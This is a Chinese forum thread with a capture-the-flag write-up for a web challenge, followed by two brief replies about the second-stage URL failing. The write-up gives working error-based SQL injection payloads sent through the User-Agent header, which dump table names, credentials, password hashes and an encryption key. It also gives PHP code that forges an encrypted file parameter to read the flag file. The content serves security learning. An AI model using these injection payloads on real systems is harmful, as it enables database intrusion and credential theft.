roger 发表于 2020-4-25 00:36:01

xuenixiang_2020_web_web500


我们使用基于错误的技术利用SQL注入,即我们在数据库生成的错误消息中提取的信息。例如,要获取数据库的名称,我们进行以下注入:User-Agent: xxx' and extractvalue(0x0a, concat(0x0a, database()))=0 -- x该数据库的名称是:hackimweb500现在我们列出所述数据库的表:User-Agent: xxx' and extractvalue(0x0a, concat(0x0a,(select group_concat(table_name) from information_schema.tables where table_schema='hackimweb500')))=0 -- x我们得到:<br /><p style='color:red'>Invalid credentials</p> <h3>XPATH syntax error: '
accounts,cryptokey,useragents'我们从accounts表中提取列:User-Agent: xxx' and extractvalue(0x0a, concat(0x0a,(select group_concat(column_name) from information_schema.columns where table_schema='hackimweb500' and table_name='accounts')))=0 -- x
<br /><p style='color:red'>Invalid credentials</p> <h3>XPATH syntax error: '
uid,uname,pwd,age,zipcode'我们对其他表的运作方式相似。最后我们有数据库的结构:hackimweb500:
- accounts (uid,uname,pwd,age,zipcode)
- cryptokey (id,keyval,keyfor)
- useragents (bid,agent)我们从帐户表中提取记录:User-Agent: xxx' and extractvalue(0x0a, concat(0x0a,(select group_concat(concat(uname,':',pwd)) from accounts)))=0 -- x
<br /><p style='color:red'>Invalid credentials</p> <h3>XPATH syntax error: '
ori:6606a19f6345f8d6e998b69778c'但是,密码的哈希值已被截断。没问题,我们用MID功能来解决它​​。User-Agent: xxx' and extractvalue(0x0a, concat(0x0a,(select mid(pwd,20,20) from accounts)))=0 -- x
<br /><p style='color:red'>Invalid credentials</p> <h3>XPATH syntax error: '
8b69778cbf7ed'整个哈希是6606a19f6345f8d6e998b69778cbf7ed。在Google搜索之后,我们发现密码是frettchen。我们启动与用户ori和frettchen密钥的会话......并将我们重定向到一个有点好奇的URL,显然是挑战的第二部分。http://54.152.19.210/web500/ba3988db0a3167093b1f74e8ae4a8e83.php?file=uWN9aYRF42LJbElOcrtjrFL6omjCL4AnkcmSuszI7aA=URL接收file带有base64文本的参数,如果我们解码,我们就不会得到任何可读的内容。该页面还告诉我们该标志位于flagflagflagflag.txt文件中。当我们查看页面的源代码时,我们会以HTML注释的形式找到另一个提示:<!--
function decrypt($enc){
$key = ??; //stored elsewhere
$data = base64_decode($enc);
$iv = substr($data, 0, mcrypt_get_iv_size(MCRYPT_RIJNDAEL_128, MCRYPT_MODE_CBC));
$decrypted = rtrim(mcrypt_decrypt(MCRYPT_RIJNDAEL_128,hash('sha256', $key, true),substr($data, mcrypt_get_iv_size(MCRYPT_RIJNDAEL_128, MCRYPT_MODE_CBC)),MCRYPT_MODE_CBC,$iv),"\0");
return $decrypted;
}
-->它似乎是file决定URL 参数的函数。但是,$key未分配变量。解密的关键在于其他地方。我们记得数据库中的cryptokey表,我们将其转储:User-Agent: xxx' and extractvalue(0x0a, concat(0x0a,(select keyval from cryptokey)))=0 -- x
<br /><p style='color:red'>Invalid credentials</p> <h3>XPATH syntax error: '
TheTormentofTantalus'关键是TheTormentofTantalus。我们decrypt使用加密密钥完成该功能,并尝试解密参数的值file。<?phpfunction decrypt($enc){$key = "TheTormentofTantalus"; //stored elsewhere$data = base64_decode($enc);$iv = substr($data, 0, mcrypt_get_iv_size(MCRYPT_RIJNDAEL_128, MCRYPT_MODE_CBC));$decrypted = rtrim(mcrypt_decrypt(MCRYPT_RIJNDAEL_128,hash('sha256', $key, true),substr($data, mcrypt_get_iv_size(MCRYPT_RIJNDAEL_128, MCRYPT_MODE_CBC)),MCRYPT_MODE_CBC,$iv),"\0");return $decrypted;}echo decrypt("uWN9aYRF42LJbElOcrtjrFL6omjCL4AnkcmSuszI7aA=") . "\n";我们执行PHP代码:
php decifra.phpflag-hint一个给定的结果。该文件的名称是flag-hint。但我们需要flagflagflagflag.txt文件。我们编写一个使用相同算法和密钥加密的函数。<?phpfunction encrypt($data) {
    $key = "TheTormentofTantalus"; //stored elsewhere    $iv = "\xb9c}i\x84E\xe3b\xc9lINr\xbbc\xac";
    // $iv = str_repeat("A", mcrypt_get_iv_size(MCRYPT_RIJNDAEL_128, MCRYPT_MODE_CBC));    $enc = mcrypt_encrypt (
      MCRYPT_RIJNDAEL_128,
      hash('sha256', $key, true),
      $data,
      MCRYPT_MODE_CBC,
      $iv
    );
    return base64_encode($iv . $enc);}echo encrypt("flagflagflagflag") . "\n";经过一段时间的挫折之后,我们明白我们应该只加密文件名而不加密它的扩展名。php cifrar.phpuWN9aYRF42LJbElOcrtjrBBiPlzTw8YXwRyfAyqcsVM=最后我们调用URL file使用获得的值更改参数并且...http://54.152.19.210/web500/ba3988db0a3167093b1f74e8ae4a8e83.php?file=uWN9aYRF42LJbElOcrtjrBBiPlzTw8YXwRyfAyqcsVM=

xwplusb 发表于 2022-11-8 15:44:18

第二阶段 转过去的那个url 报错500. 源码里也没有php

<!DOCTYPE html>
<html >
<head>
    <meta charset="UTF-8">
    <title>SQL注射系统</title>
    <link rel="stylesheet" href="css/style.css">
</head>
0
<body>

    <div class="wrapper">
                <div class="container">
                        <h1 style="color:black">SQL注射系统</h1><p>&nbsp;</p>
                       

xwplusb 发表于 2022-11-8 15:45:21

xwplusb 发表于 2022-11-8 15:44
第二阶段 转过去的那个url 报错500. 源码里也没有php

不加file参数就好了
页: [1]
查看完整版本: xuenixiang_2020_web_web500